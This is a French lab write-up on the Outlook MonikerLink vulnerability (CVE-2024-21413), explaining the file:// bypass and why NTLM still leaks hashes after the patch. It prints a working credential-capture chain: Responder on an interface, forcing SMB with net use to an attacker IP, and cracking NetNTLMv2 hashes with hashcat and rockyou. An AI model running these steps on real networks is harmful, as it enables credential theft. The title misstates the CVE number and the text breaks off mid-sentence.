
Laboratoire créé pour le PenTest de la vulnérabilité CVE 2024-214113 (MONIKER LINK).
Ce projet avait pour objectif d'étudier la vulnérabilité CVE-2024-21413 (MonikerLink), en explorant comment le protocole SMB/NTLM peut être abusé pour la capture d'identifiants.
Même après le correctif officiel de Microsoft, le laboratoire montre que le concept reste valable dans des scénarios internes.
La vulnérabilité (CVE-2024-21413), connue sous le nom de MonikerLink, a été classée comme critique (CVSS 9.8). Elle survient parce qu'Outlook traitait les liens "file://" de manière non sécurisée, en utilisant d'anciennes API COM (Moniker Objects). Ces objets permettaient à Outlook d'appeler des ressources externes sans passer par la Protected View, incitant le client à lancer automatiquement des connexions SMB.
C'est une fonctionnalité de Windows qui permet de référencer des objets COM via des liens spéciaux.
L'exploit original abusait des liens "file://" ou des chemins UNC envoyés par e-mail.
En ajoutant le caractère "!" dans le lien, il était possible de contourner les protections internes d'Outlook, forçant l'ouverture directe de la ressource externe.
Cela aboutissait à une authentification NTLM automatique, exposant les hashes NetNTLMv2 à l'attaquant sans interaction significative de l'utilisateur.
Le patch KB5002519 bloque spécifiquement ce comportement dans Outlook, empêchant les liens "file://" d'être traités de cette manière.
Cependant, le NTLM automatique de Windows continue de fonctionner en dehors du contexte d'Outlook, c'est-à-dire que toute tentative d'accéder à des ressources SMB dans un environnement où NTLM est activé et sans restrictions d'authentification peut encore générer un envoi automatique de hashes.
📌 Relation entre Outlook, SMB/NTLM et Responder Exploit original : via spam d'e-mail avec lien malveillant → Outlook traitait → NTLM s'authentifiait automatiquement → l'attaquant recevait le hash.
Laboratoire interne : nous simulons uniquement la partie conceptuelle → nous forçons manuellement la connexion SMB → Responder capture le hash → Hashcat effectue le cracking.
Pourquoi cela fonctionne-t-il encore ? Parce que NTLM est un protocole hérité qui s'authentifie automatiquement lors des connexions SMB, indépendamment d'Outlook. Le patch corrige le client Outlook, mais n'élimine pas le comportement de NTLM sous Windows.


Lors des tests, Outlook a bloqué les liens file:// provenant d'un e-mail, affichant une alerte de sécurité :

Le patch KB5002519, publié en février 2024, atténue le vecteur externe via e-mail en bloquant les liens file://.
Cependant, le protocole NTLM continue de permettre une authentification automatique lors des connexions SMB.
Cela signifie que, bien qu'Outlook soit protégé contre cet exploit spécifique, la surface d'attaque interne reste valide.
La racine du problème réside dans la dépendance à NTLM comme mécanisme d'authentification, qui reste susceptible à la capture de hashes lors des connexions SMB.
sudo responder -I eth0

Via l'Explorateur, en accédant manuellement à :
\\<IP de l'attaquant>\test

Via le terminal (cmd ou PowerShell), en utilisant la commande :
net use \\<IP de l'attaquant>\test

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt
Remarque :
Le mot de passe réel n'est pas affiché pour des raisons de sécurité. L'objectif est de démontrer le processus et la vulnérabilité.

Ce laboratoire a mis en évidence que :